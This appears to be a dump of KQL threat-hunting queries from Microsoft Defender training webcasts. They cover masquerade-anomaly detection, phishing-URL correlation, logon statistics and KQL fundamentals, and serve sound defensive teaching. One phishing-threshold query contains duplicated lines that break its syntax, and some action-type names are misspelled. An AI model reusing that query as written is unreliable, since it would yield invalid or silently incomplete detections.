pass in tabular data and scalar parameters if you choose...\r\nlet MultiplyByN = (SourceData:(Multiplicand:int), Multiplier:dynamic)\r\n{\r\n    SourceData\r\n    | extend Multiplier = Multiplier\r\n    | mv-expand Multiplier to typeof(int)\r\n    | extend Product = Multiplicand * Multiplier\r\n};\r\nlet Multiplier = range(1,10,1);\r\ndatatable(Multiplicand:int)\r\n[1,2,3,4,5,6,7,8,9,10]\r\n| invoke MultiplyByN(Multiplier)\r\n\r\n// range() - generates a range of numbers from the first \r\n// parameter to the second parameter step the third parameter\r\n// https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/rangeoperator\r\n\r\n// or go all out and use multiple tablular inputs\r\n\r\nlet LetsIntersect = (Dataset1:(key:int,value:string), Dataset2:(key:int,value:string))\r\n{\r\n    Dataset1\r\n    | join kind=inner Dataset2 on key\r\n};\r\nlet LeftTable = datatable (key:int, value:string)\r\n[\r\n    0, \"Foo\",\r\n    1, \"Bar\",\r\n    2, \"Baz\",\r\n    3, \"Qux\",\r\n    4, \"Quux\"\r\n];\r\nlet RightTable = datatable (key:int, value:string)\r\n[\r\n    0, \"Wibble\",\r\n    1, \"Wobble\",\r\n    2, \"Wubble\",\r\n];\r\nLeftTable\r\n| invoke LetsIntersect(RightTable)\r\n\r\n// OK! Enough of the contrived examples! How can I actually use this?\r\n\r\n///////////////////\r\n// Path Aliasing //\r\n///////////////////\r\n\r\n// Ever try to gather statistics on something in the \\users\\ directory? You \r\n// end up with all kinds of one-off FolderPaths tied to a user's profile.\r\n// ... let's fix that.\r\n\r\nlet AliasPath = (SourcePath:(FolderPath:string, FileName:string))\r\n{\r\n\tSourcePath\r\n    | extend AliasPath = tolower(\r\n            case(\r\n                //Modern style profile\r\n                FolderPath startswith 'c:\\\\users\\\\', strcat('%UserProfile%', substring(FolderPath, indexof(FolderPath,'\\\\',11), strlen(FolderPath) - 11)),\r\n                //Legacy style profile\r\n                FolderPath startswith 'c:\\\\documents and settings\\\\', strcat('%UserProfile%', substring(FolderPath, indexof(FolderPath,'\\\\',27), strlen(FolderPath) - 27)),\r\n                //Windir\r\n                FolderPath contains @':\\Windows\\', strcat('%windir%', substring(FolderPath, 10)),\r\n                //ProgramData\r\n                FolderPath contains @':\\programdata\\', strcat('%programdata%', substring(FolderPath, 14)),\r\n                // ProgramFiles\r\n                FolderPath contains @':\\Program Files\\', strcat('%ProgramFiles%', substring(FolderPath, 16)),\r\n                // Program Files (x86)\r\n                FolderPath contains @':\\Program Files (x86)\\', strcat('%ProgramFilesx86%', substring(FolderPath, 22)),\r\n                //Other\r\n               FolderPath)\r\n        )\r\n};\r\nDeviceProcessEvents\r\n| take 100\r\n| invoke AliasPath()\r\n| project-reorder AliasPath\r\n\r\n// So lets use this to help determine the impact of a firewall rule...\r\n\r\nlet EphemeralRangeStart = 49152;\r\nlet IncludeInboundRemoteIPs = false;\r\nlet AliasPath = (SourcePath:(FolderPath:string, FileName:string))\r\n{\r\nSourcePath\r\n    | extend AliasPath = tolower(\r\n            case(\r\n                //Modern style profile\r\n                FolderPath startswith 'c:\\\\users\\\\', strcat('%UserProfile%', substring(FolderPath, indexof(FolderPath,'\\\\',11), strlen(FolderPath) - 11)),\r\n                //Legacy style profile\r\n                FolderPath startswith 'c:\\\\documents and settings\\\\', strcat('%UserProfile%', substring(FolderPath, indexof(FolderPath,'\\\\',27), strlen(FolderPath) - 27)),\r\n                //Windir\r\n                FolderPath contains @':\\Windows\\', strcat('%windir%', substring(FolderPath, 10)),\r\n                //ProgramData\r\n                FolderPath contains @':\\programdata\\', strcat('%programdata%', substring(FolderPath, 14)),\r\n                // ProgramFiles\r\n                FolderPath contains @':\\Program Files\\', strcat('%ProgramFiles%', substring(FolderPath, 16)),\r\n                // Program Files (x86)\r\n                FolderPath contains @':\\Program Files (x86)\\', strcat('%ProgramFilesx86%', substring(FolderPath, 22)),\r\n                //Other\r\n               FolderPath)\r\n        )\r\n};\r\nlet ServerConnections =\r\n    DeviceNetworkEvents\r\n    | where ActionType in ('InboundConnectionAccepted','ListeningConnectionCreated')\r\n        and RemoteIPType != 'Loopback' \r\n        and LocalIP != RemoteIP \r\n        and RemoteIP !startswith '169.254' \r\n        and LocalPort < EphemeralRangeStart\r\n    | distinct DeviceId, InitiatingProcessFolderPath, LocalPort;\r\nunion (\r\n    DeviceNetworkEvents\r\n    | where ActionType in ('InboundConnectionAccepted','ListeningConnectionCreated','ConnectionSuccess','ConnecitonFound','ConnectionRequest')\r\n        and RemoteIPType != 'Loopback' \r\n        and LocalIP != RemoteIP \r\n        and RemoteIP !startswith '169.254' \r\n        and LocalPort < EphemeralRangeStart\r\n    | join kind=leftsemi ServerConnections on DeviceId, InitiatingProcessFolderPath, LocalPort\r\n    | project-rename FolderPath = InitiatingProcessFolderPath, FileName = InitiatingProcessFileName\r\n    | invoke AliasPath()\r\n    | extend Directionality = 'Inbound', Port = LocalPort, RemoteIP = iff(IncludeInboundRemoteIPs == true, RemoteIP,'')\r\n),(\r\n    DeviceNetworkEvents\r\n    | where ActionType in ('ConnectionSuccess','ConnecitonFound','ConnectionRequest') \r\n        and RemoteIPType != 'Loopback' \r\n        and LocalIP != RemoteIP \r\n        and RemoteIP !startswith '169.254' \r\n        and LocalPort >= EphemeralRangeStart\r\n    | join kind=leftanti ServerConnections on DeviceId, InitiatingProcessFolderPath, LocalPort\r\n    | project-rename FolderPath = InitiatingProcessFolderPath, FileName = InitiatingProcessFileName\r\n    | invoke AliasPath()\r\n    | extend Directionality = 'Outbound', Port = RemotePort\r\n)\r\n| summarize ConnectionCount = count(), DistinctMachines = dcount(DeviceId), Ports = makeset(Port), RemoteIPs = makeset(RemoteIP) by Directionality, AliasPath\r\n\r\n//////////////////////////////////////////////////////////////////////////\r\n\r\n//////////////////////////////\r\n// Mapping out IP addresses //\r\n//////////////////////////////\r\n\r\n// Sometimes you have a mapping of IP addresses that you want to compare to your\r\n// query results. This might be a CSV of internal addresses and the associated\r\n// physical location, a list of IP addresses by service, or something entirely\r\n// different.\r\n\r\n// In this example, we will use the externaldata operator to bring in the list \r\n// of Azure IP addresses and compare the RemoteIP from our results to determine\r\n// if the IP is in the Azure range.\r\n\r\nlet AzureSubnets = toscalar (\r\n    externaldata (xml:string)\r\n    [\r\n        @'https://download.microsoft.com/download/0/1/8/018E208D-54F8-44CD-AA26-CD7BC9524A8C/PublicIPs_20200824.xml'\r\n    ]\r\n    with (format=\"txt\")\r\n    | extend Subnet = tostring(parse_xml(xml).IpRange.['@Subnet'])\r\n    | where isnotempty(Subnet)\r\n    | summarize make_set(Subnet)\r\n);\r\nlet IsItAzure = (SourceData:(RemoteIP:string)) {\r\n    SourceData\r\n    | extend AzureSubnet = AzureSubnets\r\n    | mv-expand AzureSubnet to typeof(string)\r\n    | extend IsAzure = ipv4_is_in_range(RemoteIP, AzureSubnet)\r\n    | summarize IsAzure = max(IsAzure) by RemoteIP\r\n};\r\n// BEGIN SAMPLE QUERY //\r\nDeviceNetworkEvents\r\n| take 10000\r\n// END SAMPLE QUERY\r\n| invoke IsItAzure()\r\n\r\n//////////////////////////////////////////////////////////////////////////\r\n\r\n/////////////////////////////////\r\n// Determining active users    //\r\n// based on process creations  //\r\n/////////////////////////////////\r\n\r\n// How many times have you run into the need to find out which user(s) were active\r\n// on to a device at a given time? Sure, we have the LoggedOnUsers column in \r\n// the DeviceInfo table, but what if we wanted a very specific resolution based on\r\n// the identities of processes created around an event?\r\n\r\n// In our ficticious example, we'll hunt for accounts that were active in the same\r\n// 5 minute block as a registry event.\r\n\r\n// Notice that we are passing two parameters in this function - and the second one \r\n// has a default value of 5m. This is a handy way to enable flexibility. If you \r\n// later wanted to change the resolution you can just specify it as a parameter in\r\n// your invoke statement.\r\n\r\nlet WhoWasActive = (SourceData:(DeviceId:string, Timestamp:datetime), Resolution:timespan = 5m)\r\n{\r\n    SourceData\r\n    | extend TimeBin = bin(Timestamp, Resolution)\r\n    | join kind=inner (\r\n        DeviceProcessEvents\r\n        | where AccountDomain !in~ ('nt authority','font driver host', 'window manager', 'nt service')\r\n        | project Timestamp, DeviceId, Account = tolower(strcat(AccountDomain,'\\\\',AccountName))\r\n        | summarize ActiveAccounts = make_set(Account) by DeviceId, TimeBin = bin(Timestamp, Resolution)\r\n    ) on DeviceId, TimeBin\r\n    | project-away TimeBin, TimeBin1\r\n};\r\nDeviceRegistryEvents\r\n| summarize arg_max(Timestamp, *) by DeviceId\r\n| take 100\r\n| invoke WhoWasActive()\r\n| project-reorder ActiveAccounts\r\n\r\n///////////////////////////////////////////////////////////////////////////\r\n\r\n///////////////////////////////////\r\n// Detecting anomalous key-value //\r\n// pair combinations in datasets //\r\n///////////////////////////////////\r\n\r\n// I developed this function while on the Microsoft DART team to help \r\n// solve a specific problem - we needed to find files that masqueraded\r\n// as legitimate files, usually based on their filename. This technique\r\n// is commonly used by malware as a means of masquerading as a \r\n// legitimate file. While most of the time the file names an attacker\r\n// would use could be found in the root of %windir%\\System32, \r\n// occasionally we would find some creativity out there using other\r\n// file names.\r\n\r\n// The good news is you can't hide from statistics :)\r\n\r\n// DetectMasqueradeAnomaly\r\n// Inputs: \r\n//  - SourceData: the dataset to detect anomalies in. Must contain\r\n                  a column named 'Key' and another named 'Value'\r\n\t- MaxResults: The number of results to return in descending \r\n\t              order of how anomalous the pairing is\r\n\t\t\t\t  \r\n// What it does:\r\n// This function will look for common keys that are consistently paired\r\n// with the same value. The more common the key and the more commonly it\r\n// is paired with the same value the more 'normal' this pairing is \r\n// considered.\r\n\r\n// Contrived example:\r\n\r\nlet DetectMasqueradeAnomaly = (SourceData:(Key:string, Value:string), MaxResults:int = 10000) { \r\n    let PairCount = materialize(\r\n        SourceData\r\n        | summarize hint.strategy=shuffle Instances = count() by Key, Value\r\n    );\r\n    PairCount\r\n    | summarize hint.strategy=shuffle SampleSize = count(), Average = avg(Instances), DistinctValueCount = dcount(Value) by Key\r\n    | where DistinctValueCount > 1 and SampleSize > 1 and DistinctValueCount < Average // Remove entries that are always have the same key, have only one instance, or are above the average instances (that would be a normal value for the key by this definition)\r\n    | join kind=inner hint.strategy=shuffle PairCount on Key // Join back on raw Key to Value statistics so that we can now find anomalies\r\n    | extend MScore = (SampleSize * (Average - Instances) / (Instances * DistinctValueCount)) // Run the masquerade detection calculation\r\n    | where MScore > 0  // Remove values that are more normal than the average\r\n    | top MaxResults by MScore desc // Strip entries beyond the defined result count threshold\r\n    | join kind=inner hint.strategy=shuffle ( // Join back on PairCount to deteremine most common value for the pair\r\n        PairCount \r\n        | summarize MostCommonValueInstances = max(Instances) by Key // In this case, we need to know which key had the max number of instances\r\n        | join kind=inner hint.strategy=shuffle PairCount on Key // Bring it back together with the Key to Value data\r\n        | where Instances == MostCommonValueInstances // Select only the rows where Instances == MostCommonValueInstances to figure out which path was most common\r\n        | project Key, MostCommonValueInstances = Instances, MostCommonValue = Value // Clean up output\r\n        ) on Key \r\n    | project-away Key1, Key2\r\n    | top MaxResults by MScore desc\r\n};\r\ndatatable (Key:string, Value:string)\r\n[\r\n    'a', '1',\r\n    'a', '1',\r\n    'a', '1',\r\n    'a', '1',\r\n    'a', '1',\r\n    'a', '1',\r\n    'a', '1',\r\n    'a', '1',\r\n    'a', '1',\r\n    'a', '1',\r\n    'a', '1',\r\n    'a', '3', // Masquerade anomaly\r\n    'b', '2',\r\n    'b', '2',\r\n    'b', '2',\r\n    'b', '2',\r\n    'b', '2',\r\n    'b', '2',\r\n    'b', '2',\r\n    'b', '4', // Masquerade anomaly\r\n\t'c', '1', // c has an even distribution of values\r\n\t'c', '2',\r\n\t'c', '3',\r\n\t'c', '4',\r\n\t'd', '4', // d is always the same\r\n\t'd', '4',\r\n\t'd', '4',\r\n\t'd', '4'\r\n]\r\n| invoke DetectMasqueradeAnomaly()\r\n\r\n// Notice:\r\n// - All common pairings are filtered out\r\n// - 'a' was ranked higher from an anomaly perspective\r\n//   than 'b' because there are more examples of 'a' being paired with '1'\r\n//   than 'b' paired with '2'\r\n// - 'c' did not show up because it was 100% random in this dataset\r\n// - 'd' did not show up because it was 100% consistent in this dataset\r\n\r\n// Using this in the real world\r\n\r\n// Finding programs with common names launched from strange directories\r\n\r\nlet DetectMasqueradeAnomaly = (SourceData:(Key:string, Value:string), MaxResults:int = 10000) { \r\n    let PairCount = materialize(\r\n        SourceData\r\n        | summarize hint.strategy=shuffle Instances = count() by Key, Value\r\n    );\r\n    PairCount\r\n    | summarize hint.strategy=shuffle SampleSize = count(), Average = avg(Instances), DistinctValueCount = dcount(Value) by Key\r\n    | where DistinctValueCount > 1 and SampleSize > 1 and DistinctValueCount < Average // Remove entries that are always have the same key, have only one instance, or are above the average instances (that would be a normal value for the key by this definition)\r\n    | join kind=inner hint.strategy=shuffle PairCount on Key // Join back on raw Key to Value statistics so that we can now find anomalies\r\n    | extend MScore = (SampleSize * (Average - Instances) / (Instances * DistinctValueCount)) // Run the masquerade detection calculation\r\n    | where MScore > 0  // Remove values that are more normal than the average\r\n    | top MaxResults by MScore desc // Strip entries beyond the defined result count threshold\r\n    | join kind=inner hint.strategy=shuffle ( // Join back on PairCount to deteremine most common value for the pair\r\n        PairCount \r\n        | summarize MostCommonValueInstances = max(Instances) by Key // In this case, we need to know which key had the max number of instances\r\n        | join kind=inner hint.strategy=shuffle PairCount on Key // Bring it back together with the Key to Value data\r\n        | where Instances == MostCommonValueInstances // Select only the rows where Instances == MostCommonValueInstances to figure out which path was most common\r\n        | project Key, MostCommonValueInstances = Instances, MostCommonValue = Value // Clean up output\r\n        ) on Key \r\n    | project-away Key1, Key2\r\n    | top MaxResults by MScore desc\r\n};\r\nDeviceProcessEvents\r\n| where Timestamp > ago(1d)\r\n| project Key = FileName, Value = FolderPath\r\n| invoke DetectMasqueradeAnomaly(500)\r\n| join DeviceProcessEvents on $left.Key == $right.FileName, $left.Value == $right.FolderPath\r\n| project-away Key, Value, SampleSize, Average, Instances, DistinctValueCount, MostCommonValueInstances, MostCommonValue\r\n| order by MScore desc\r\n\r\n// Detecting user accounts logging on to anomalous systems\r\n\r\nlet DetectMasqueradeAnomaly = (SourceData:(Key:string, Value:string), MaxResults:int = 10000) { \r\n    let PairCount = materialize(\r\n        SourceData\r\n        | summarize hint.strategy=shuffle Instances = count() by Key, Value\r\n    );\r\n    PairCount\r\n    | summarize hint.strategy=shuffle SampleSize = count(), Average = avg(Instances), DistinctValueCount = dcount(Value) by Key\r\n    | where DistinctValueCount > 1 and SampleSize > 1 and DistinctValueCount < Average // Remove entries that are always have the same key, have only one instance, or are above the average instances (that would be a normal value for the key by this definition)\r\n    | join kind=inner hint.strategy=shuffle PairCount on Key // Join back on raw Key to Value statistics so that we can now find anomalies\r\n    | extend MScore = (SampleSize * (Average - Instances) / (Instances * DistinctValueCount)) // Run the masquerade detection calculation\r\n    | where MScore > 0  // Remove values that are more normal than the average\r\n    | top MaxResults by MScore desc // Strip entries beyond the defined result count threshold\r\n    | join kind=inner hint.strategy=shuffle ( // Join back on PairCount to deteremine most common value for the pair\r\n        PairCount \r\n        | summarize MostCommonValueInstances = max(Instances) by Key // In this case, we need to know which key had the max number of instances\r\n        | join kind=inner hint.strategy=shuffle PairCount on Key // Bring it back together with the Key to Value data\r\n        | where Instances == MostCommonValueInstances // Select only the rows where Instances == MostCommonValueInstances to figure out which path was most common\r\n        | project Key, MostCommonValueInstances = Instances, MostCommonValue = Value // Clean up output\r\n        ) on Key \r\n    | project-away Key1, Key2\r\n    | top MaxResults by MScore desc\r\n};\r\nDeviceLogonEvents\r\n| project Key = strcat(AccountDomain, @'\\', AccountName), Value = DeviceId\r\n| invoke DetectMasqueradeAnomaly(500)\r\n| join (\r\n    DeviceLogonEvents\r\n    | extend UserAndDomain = strcat(AccountDomain, @'\\', AccountName)\r\n) on $left.Key == $right.UserAndDomain, $left.Value == $right.DeviceId\r\n| project-away Key, Value, SampleSize, Average, Instances, DistinctValueCount, MostCommonValueInstances, MostCommonValue\r\n| project-reorder MScore, Timestamp, DeviceId, UserAndDomain\r\n| order by MScore desc\r\n\r\n// Detecting users logging on during strange hours of the day\r\n\r\nprint gettype(hourofday(now()))\r\n\r\n// Note that hourofday() is a long, so we will need to change the data type for Value\r\n\r\nlet DetectMasqueradeAnomaly = (SourceData:(Key:string, Value:long), MaxResults:int = 10000) { \r\n    let PairCount = materialize(\r\n        SourceData\r\n        | summarize hint.strategy=shuffle Instances = count() by Key, Value\r\n    );\r\n    PairCount\r\n    | summarize hint.strategy=shuffle SampleSize = count(), Average = avg(Instances), DistinctValueCount = dcount(Value) by Key\r\n    | where DistinctValueCount > 1 and SampleSize > 1 and DistinctValueCount < Average // Remove entries that are always have the same key, have only one instance, or are above the average instances (that would be a normal value for the key by this definition)\r\n    | join kind=inner hint.strategy=shuffle PairCount on Key // Join back on raw Key to Value statistics so that we can now find anomalies\r\n    | extend MScore = (SampleSize * (Average - Instances) / (Instances * DistinctValueCount)) // Run the masquerade detection calculation\r\n    | where MScore > 0  // Remove values that are more normal than the average\r\n    | top MaxResults by MScore desc // Strip entries beyond the defined result count threshold\r\n    | join kind=inner hint.strategy=shuffle ( // Join back on PairCount to deteremine most common value for the pair\r\n        PairCount \r\n        | summarize MostCommonValueInstances = max(Instances) by Key // In this case, we need to know which key had the max number of instances\r\n        | join kind=inner hint.strategy=shuffle PairCount on Key // Bring it back together with the Key to Value data\r\n        | where Instances == MostCommonValueInstances // Select only the rows where Instances == MostCommonValueInstances to figure out which path was most common\r\n        | project Key, MostCommonValueInstances = Instances, MostCommonValue = Value // Clean up output\r\n        ) on Key \r\n    | project-away Key1, Key2\r\n    | top MaxResults by MScore desc\r\n};\r\nDeviceLogonEvents\r\n| project Key = strcat(AccountDomain, @'\\', AccountName), Value = hourofday(Timestamp)\r\n| invoke DetectMasqueradeAnomaly(500)\r\n| join (\r\n    DeviceLogonEvents\r\n    | extend UserAndDomain = strcat(AccountDomain, @'\\', AccountName), HourOfDay = hourofday(Timestamp)\r\n) on $left.Key == $right.UserAndDomain, $left.Value == $right.HourOfDay\r\n| project-away Key, Value, SampleSize, Average, Instances, DistinctValueCount, MostCommonValueInstances, MostCommonValue\r\n| project-reorder MScore, Timestamp, DeviceName, UserAndDomain\r\n| order by MScore desc"
  },
  {
    "path": "Webcasts/Ignite 2020 - Best practices for hunting across domains with Microsoft 365 Defender.txt",
    "content": "print Session = 'Best practices for hunting across domains with Microsoft 365 Defender', Presenter = 'Michael Melone, Tali Ash', Company = 'Microsoft' \n\n// Schema Reference (upper right corner)\n \n// Explore identities data\n// From IdentityDirectoryEvents schema reference click one of the Action type\nIdentityDirectoryEvents  | where ActionType == 'SMB session'  \n\n// using extend to extract information form json column of AdditionalFields\n// From IdentityDirectoryEvents schema reference click sample query of “Group\n// modifications”\nlet group = 'Domain Admins';\nIdentityDirectoryEvents\n| where ActionType == 'Group Membership changed'\n| extend AddedToGroup = AdditionalFields['TO.GROUP']\n| extend RemovedFromGroup = AdditionalFields['FROM.GROUP']\n| extend TargetAccount = AdditionalFields['TARGET_OBJECT.USER']\n| where AddedToGroup == group or RemovedFromGroup == group\n| project-reorder Timestamp, ActionType, AddedToGroup, RemovedFromGroup, TargetAccount\n| limit 100 \n\n// Explore emails data\n//Find who sent emails identified with malware/phishing\nEmailEvents\n| where (PhishFilterVerdict == \"Phish\" or MalwareFilterVerdict == \"Malware\") and DeliveryAction == \"Delivered\"\n//| where SenderFromDomain != \"gmail.com\" \n| project DeliveryAction, MalwareFilterVerdict, PhishFilterVerdict, Timestamp, SenderFromAddress, RecipientEmailAddress, Subject, AttachmentCount\n\n// Finds the first appearance of files sent by a malicious sender in your organization\nlet MaliciousSenders = pack_array(\"mtpdemos@juno.com\");\nEmailAttachmentInfo\n| where SenderFromAddress in~(MaliciousSenders)\n| join kind=leftouter(\nDeviceFileEvents\n) on SHA256, $left.RecipientObjectId == $right.InitiatingProcessAccountObjectId \n| summarize FirstAppearance = min(Timestamp1) by SenderFromAddress, RecipientEmailAddress, DeviceName, DeviceId, SHA256, FileName\n\n// Functions are a special sort of join which let you pull more static data about a file (more are \n// planned in the future, stay tuned!). This is really helpful when you want to get information about \n// file prevalence or antimalware detections. \n// Get more details on the malicous files using FileProfile function enrichment\nlet MaliciousSender = dynamic([\"mtpdemos@juno.com\"]);\nEmailAttachmentInfo\n| where SenderFromAddress in~ (MaliciousSender)\n| join (\nDeviceFileEvents\n) on SHA256\n| distinct SHA1\n| invoke FileProfile()\n| project SHA1, SHA256 , FileSize , GlobalFirstSeen , GlobalLastSeen , GlobalPrevalence , IsExecutable \n\n//Get alerted every time an email from malicious sender was received\nlet MaliciousSender = \"mtpdemos@juno.com\";\nEmailEvents\n| where SenderFromAddress =~ MaliciousSender and DeliveryAction == \"Delivered\"\n\n\n// Detection name - Email from malicious sender\n// Alert title - Email from malicious sender - mtpdemos@juno.com\n// Description - Email from malicious sender mtpdemos@juno.com was delivered to // users in the org\n\n/////////////////////////////\n// Get to know useful operators\n/////////////////////////////\n\n// Dealing with Phishing using Advanced Hunting\n\n// parse_url()\n//  Breaks down a URL into its individual parts – including each\n//  query parameter\n\nprint url = parse_url(\"https://www.bing.com/search?q=tracking+the+adversary+mtp+advanced+hunting&qs=AS&pq=tracking+the+adversary+&sc=1-23&cvid=81318E9030D74B31A876FDE99603EE60&FORM=QBRE&sp=1\") \n| evaluate bag_unpack(url)\n\n// Let’s use parse_url() to analyze some phishing activity\n\nlet Phishurls = toscalar(\n        EmailEvents\n        | where PhishFilterVerdict == \"Phish\"\n        | join EmailUrlInfo on NetworkMessageId \n        | extend host = parse_url(Url).Host\n        | where isnotempty(host)\n        | summarize makeset(host)\n);\nDeviceNetworkEvents\n| where isnotempty(RemoteUrl)\n| extend NetworkEventHost = parse_url(RemoteUrl).Host\n| where isnotempty(NetworkEventHost)\n| extend PhishHost = Phishurls\n| mvexpand PhishHost to typeof(string)\n| where NetworkEventHost == PhishHost\n\n\n// In practice, you're likely to encounter a bunch of false positives\n// due to common domains being mixed with phish domains. To accommodateTo accomodate that\n// we can just reduce the dataset based on a threshold\n\n\nlet MaxConnections = 10; // This will be our cutoff threshold\nlet Phishurls = toscalar(\nEmailEvents\n| where PhishFilterVerdict == \"Phish\"\n| join EmailUrlInfo on NetworkMessageId \n| extend host = parse_url(Url).Host\n| where isnotempty(host)\n        EmailEvents\n        | where PhishFilterVerdict == \"Phish\"\n        | join EmailUrlInfo on NetworkMessageId \n        | extend host = parse_url(Url).Host\n        | where isnotempty(host)\n        | summarize makeset(host)\n);\n// We will use this portion of the query twice now - better to make it a variable\nlet DeviceConnections = (\nDeviceNetworkEvents\n| where isnotempty(RemoteUrl)\n| extend NetworkEventHost = tostring(parse_url(RemoteUrl).Host)\n        DeviceNetworkEvents\n        | where isnotempty(RemoteUrl)\n        | extend NetworkEventHost = tostring(parse_url(RemoteUrl).Host)\n        | where isnotempty(NetworkEventHost)\n);\nDeviceConnections \n| summarize count() by NetworkEventHost // Count the number of connections by FQDN\n| where count_ < MaxConnections // Filter to only domains with less than MaxConnections connections\n| join kind=rightsemi DeviceConnections on NetworkEventHost // Filter our dataset to only those FQDNs\n| extend PhishHost = Phishurls\n| mvexpand PhishHost to typeof(string)\n| where NetworkEventHost == PhishHost\n\n\n\n// Using the bin() function you can group events by a period of time. \n// Let's take a look at some logon statistics on a daily basis \n \n// Let's look at account logon activity over time on a \n// daily basis by UPN. \n \nIdentityLogonEvents  \n| where isnotempty(AccountUpn) \n| summarize NumberOfLogons = count() by AccountUpn, bin(Timestamp, 1d) \n| render timechart  \n \n// render - creates a chart\n \n// We can also use this bin'ed data to determine min, max, and average daily logons \n \nIdentityLogonEvents  \n| where isnotempty(AccountUpn) \n| summarize NumberOfLogons = count()  // first get a calculation of how many logons the user does per day\n    by AccountUpn \n    , bin(Timestamp, 1d) \n| summarize TotalLogons = sum(NumberOfLogons) // Then average all of them together to get average daily logons\n    , AverageDailyLogons = avg(NumberOfLogons) \n    , FewestLogonsInADay = min(NumberOfLogons) \n    , MostLogonsInADay = max(NumberOfLogons)  \n    by AccountUpn  \n| top 10 by TotalLogons desc  \n| render columnchart \n\n// New Table - IdentityDirectoryEvents\n// Contains Active Directory \\ domain controller operational information\n\nIdentityDirectoryEvents\n| distinct ActionType \n\nIdentityDirectoryEvents\n| where ActionType == 'Directory Services replication'\n| summarize count() by IPAddress, tolower(DeviceName), AccountUpn \n\n// Interesting - looks like a couple of replication attempts from workstations...\n\nIdentityDirectoryEvents\n| where ActionType == 'Directory Services replication' and DeviceName !startswith 'mtp-air-aad'\n| join kind=inner DeviceNetworkEvents on $left.IPAddress == $right.LocalIP  and $left.Port == $right.LocalPort  and $left.DestinationIPAddress == $right.RemoteIP  and $left .DestinationPort == $right.RemotePort \n| project-reorder Timestamp1, DeviceName1, InitiatingProcessId, InitiatingProcessCommandLine\n\n\n// --------------------------- \n \n// The FileProfile function lets you pull more static data about a file (more are planned in the future, stay tuned!).\n// This is really helpful when you want to get information about file prevalence or antimalware detections. \n \n// Let's say we wanted information about rare files involved in a process creation event \n \nDeviceProcessEvents \n| invoke FileProfile() // Call the FileProfile function \n| where isnotempty(GlobalPrevalence) and GlobalPrevalence < 1000 // Note that in the real world you might want to include empty GlobalPrevalence \n| project-reorder DeviceName, FileName, ProcessCommandLine, FileSize, GlobalPrevalence, GlobalFirstSeen, GlobalLastSeen, ThreatName, Publisher, SoftwareName \n| top 100 by GlobalPrevalence asc  \n\n// ---------------------------\n\n// AssignedIPAddresses() function\n// Lists last known IP addresses that were assigned to a given device around the date specified\n\nAssignedIPAddresses('6c27842721799deb6420b094044d26e15e87a37b', now())\n\n// ---------------------------\n\n// Go hunt from incidents. \n\n"
  },
  {
    "path": "Webcasts/README.md",
    "content": "# Webcasts\n\nThis repository will contain query files used in our public training \\ webcasts for reuse within your instance of Microsoft Threat Protection\n\n---\n\n## Tracking the Adversary\n[Signup Link](https://techcommunity.microsoft.com/t5/microsoft-threat-protection/webinar-series-unleash-the-hunter-in-you/ba-p/1509232?ranMID=24542&ranEAID=msYS1Nvjv4c&ranSiteID=msYS1Nvjv4c-_joxReUxkmQPGUkIGSbqzg&epi=msYS1Nvjv4c-_joxReUxkmQPGUkIGSbqzg&irgwc=1&OCID=AID2000142_aff_7593_1243925&tduid=(ir__inwuq92cqkkft0kikk0sohziz32xi1kvkgq9mksc00)(7593)(1243925)(msYS1Nvjv4c-_joxReUxkmQPGUkIGSbqzg)()&irclickid=_inwuq92cqkkft0kikk0sohziz32xi1kvkgq9mksc00)\n\nThis four-part series provides an introduction to advanced hunting in Microsoft Threat Protection including\n- An introduction to Kusto Query Language (KQL)\n- Descriptions of each table available (as of the date of the webcast)\n- Examples to help maximize your hunting skills in Advanced Hunting\n- An example incident triage almost exclusively using Advanced Hunting\n"
  },
  {
    "path": "Webcasts/TrackingTheAdversary/Episode 1 - KQL Fundamentals.txt",
    "content": "print Series = 'Tracking the Adversary with MTP Advanced Hunting', EpisodeNumber = 1, Topic = 'KQL Fundamentals', Presenter = 'Michael Melone, Tali Ash', Company = 'Microsoft'\n\n// Language Reference: https://docs.microsoft.com/en-us/azure/kusto/query/\n// Advanced Hunting Reference: https://docs.microsoft.com/en-us/microsoft-365/security/mtp/advanced-hunting-schema-tables?view=o365-worldwide\n\n// ---------------\n\n// What is KQL \\ Azure Data Explorer?\n// - Write Once, Read Many (WORM) dataset\n// - Used in a variety of Microsoft products including \n//     + Defender ATP Advanced Hunting\n//     + Microsoft Threat Protection Advanced Hunting\n//     + Azure Sentinel\n//     + Azure Data Explorer\n// - Tuned to work best with log data\n// - Case sensitive\n// - Automatically expires records based on a specified interval (up to 10 years)\n\n// ---------------\n\n// When using Kusto datasources\n// - If the data source is log-based, try to reduce the timeframe\n// - More current data is likely to be in hot storage and will return more quickly\n// - Try to reduce data earlier in the query before joining or manipulating it\n\n// ---------------\n\n// Getting Started: Query Format\n//\n// DataSource\n// | filters \\ modifiers \\ limiters\n\nDeviceProcessEvents\n| take 100\n\n// DeviceProcessEvents\n// ref: https://docs.microsoft.com/en-us/microsoft-365/security/mtp/advanced-hunting-deviceprocessevents-table?view=o365-worldwide\n// Process creation and related events\n//  - The newly-launched process\n//  - The process which initiated the process\n//   + The device the process \n//   + The identity the process was launched as\n\n// take\n// Returns rows up to a pre-set count.  Good for testing out your query at a small scale before use.\n\n// Note: There is no order or consistency when using take without sorting!\n\n// SQL Equivalent: SELECT TOP 15 * FROM DeviceProcessEvents\n\n// ---------------\n\n// Data sources can be tables, functions, variables\n\nlet foo = \"bar\";\nprint foo\n\n// let\n// Declares a variable which can be used later in the query.\n// - Values can be:\n//   + Scalar (single value)\n//   + Tabular (a 2-dimensional table)\n//   + A function \n//   + Dynamic (a JSON-formatted object that can be addressed using dotted notation (this.that))\n// - A semicolon must exist after every let statement!\n\n// print\n// Outputs a scalar value\n\n// ---------------\n\nDeviceLogonEvents\n| count\n\n// DeviceLogonEvents\n// A table containing a row for each logon a device enrolled in Defender ATP\n// Contains\n// - Account information associated with the logon\n// - The device which the account logged onto\n// - The process which performed the logon\n// - Network information (for network logons)\n// - Timestamp\n\n// count\n// Returns the row count for a tablular dataset\n\n// ---------------\n\nAppFileEvents\n| take 100\n| sort by Timestamp desc\n\n\n// AppFileEvents\n// ref: https://docs.microsoft.com/en-us/microsoft-365/security/mtp/advanced-hunting-appfileevents-table?view=o365-worldwide\n// Information regarding activity relating to files stored in cloud services \n// monitored by Microsoft Cloud App Security (MCAS), including\n// - The cloud application name\n// - The type of action performed\n// - The item the action was performed on\n// - The identity which performed the action\n// - The IP address and geolocation\n\n// sort\n// Orders the dataset based on the specified column\n\n// SQL Equivalent: SELECT TOP 100 * FROM DeviceFileEvents ORDER BY 